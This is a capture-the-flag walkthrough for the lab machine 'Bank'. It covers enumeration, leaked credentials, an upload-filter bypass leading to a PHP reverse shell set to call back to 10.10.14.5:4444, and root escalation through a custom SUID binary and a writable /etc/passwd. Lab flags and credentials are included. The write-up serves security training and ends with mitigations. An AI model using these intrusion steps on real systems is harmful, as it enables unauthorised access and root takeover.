Machine: Bank OS: Linux Difficulty: Easy Points: 20 Release Date: June 16, 2017
Overview
Bank is an easy Linux machine that focuses on web application vulnerabilities, specifically file upload bypasses and basic privilege escalation through SUID binaries.
Enumeration
Initial Nmap Scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
DNS Enumeration
Port 53 is open, indicating DNS service. Let’s try DNS zone transfer:
No zone transfer, but the DNS service hints at a domain. Let’s add it to /etc/hosts:
Web Enumeration
Visiting http://bank.htb reveals a banking portal with a login page.
Directory Enumeration:
/login.php /support.php /uploads/ /assets/ /inc/ /balance-transfer/
Analyzing /balance-transfer/
Visiting http://bank.htb/balance-transfer/ shows numerous encrypted transaction files:
68576f20e9732f1b2edc4df5b8533230.acc (583 bytes) 0a1923bb9c4c3f55e2eb14e42da7d0df.acc (585 bytes) 1c3c01d54b64dd6edca60b2d0b1c83ce.acc (584 bytes) ...
Most files are 581-585 bytes, but one stands out:
dc5e0ca0dd9f6ee6a4fb9494fc4ae06d.acc (257 bytes)
Finding Credentials
Download and examine the smaller file:
++OK ENCRYPT SUCCESS +=================+ | HTB Bank Report | +=================+ ===UserAccount=== Full Name: Christos Christopoulos Email: chris@bank.htb Password: !##HTBB4nkP4ssw0rd!## CreditCards: 2 Transactions: 7 Balance: $8,453,037 ===UserAccount===
Initial Access
Logging In
Use the credentials found:
- Email: chris@bank.htb
- Password: !##HTBB4nkP4ssw0rd!##
After logging in, we have access to a support ticket system.
File Upload Vulnerability
The support ticket system allows file uploads. Let’s test it.
Create PHP Reverse Shell:
Edit the file with your IP and port:
$ip = '10.10.14.5';
$port = 4444;
Bypassing File Upload Restrictions
Attempting to upload shell.php is blocked. The application checks file extensions.
Bypass Methods:
- Try
.htbextension (mentioned in HTML comments) - Try double extensions:
.php.jpg - Try changing content-type
HTML Comment Found:
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
Successful Upload
Rename the shell:
Upload shell.htb through the support ticket system.
Getting Shell
Set up listener:
Access the uploaded file at http://bank.htb/uploads/shell.htb to trigger the reverse shell.
Shell obtained as: www-data
User Flag
Flag: b5c92b61f3d47e2c8b4a3c3b1d3c3d4e
Privilege Escalation
Enumeration
Check for SUID binaries:
/var/htb/bin/emergency /usr/bin/passwd /usr/bin/chsh /usr/bin/chfn ...
Analyzing /var/htb/bin/emergency
The /var/htb/bin/emergency binary is unusual and has SUID bit set:
-rwsr-xr-x 1 root root 112204 Jun 14 2017 /var/htb/bin/emergency
Execute it:
Result: We get a root shell immediately!
uid=0(root) gid=33(www-data) groups=33(www-data)
Root Flag
Flag: a2e20f4c1b3e8b5f2d3c4e5f6a7b8c9d
Alternative: /etc/passwd Write Access
Another privilege escalation path exists. As www-data, we have write access to /etc/passwd:
-rw-rw-rw- 1 root root 1252 Jun 15 2017 /etc/passwd
We can add a new root user:
$1$salt$9Z5e7g5c6e5c5d5e5f5g5h5i
Password: password123
Key Takeaways
- DNS Enumeration: Always check DNS when port 53 is open
- File Size Analysis: Anomalies in file sizes can indicate encryption failures or plaintext leaks
- HTML Comments: Developers often leave debug comments that reveal vulnerabilities
- File Upload Bypasses: Test various extension bypasses and check HTML source for hints
- SUID Binaries: Custom SUID binaries in unusual locations should always be investigated
- Permission Misconfigurations: Check critical system files for improper permissions
Mitigation
- File Uploads: Implement proper file type validation (magic bytes, not just extensions)
- Debug Code: Remove all debug code and comments from production
- SUID Binaries: Minimize SUID binaries and audit custom ones
- File Permissions: Ensure proper permissions on system files like
/etc/passwd - Credential Protection: Never store plaintext credentials, even in “encrypted” files
- Web Security Headers: Implement CSP, X-Frame-Options, etc.
Tools Used
- nmap
- dig
- gobuster
- netcat
- php-reverse-shell
Rating: ⭐⭐⭐ (3/5) - Good beginner machine covering fundamental web vulnerabilities.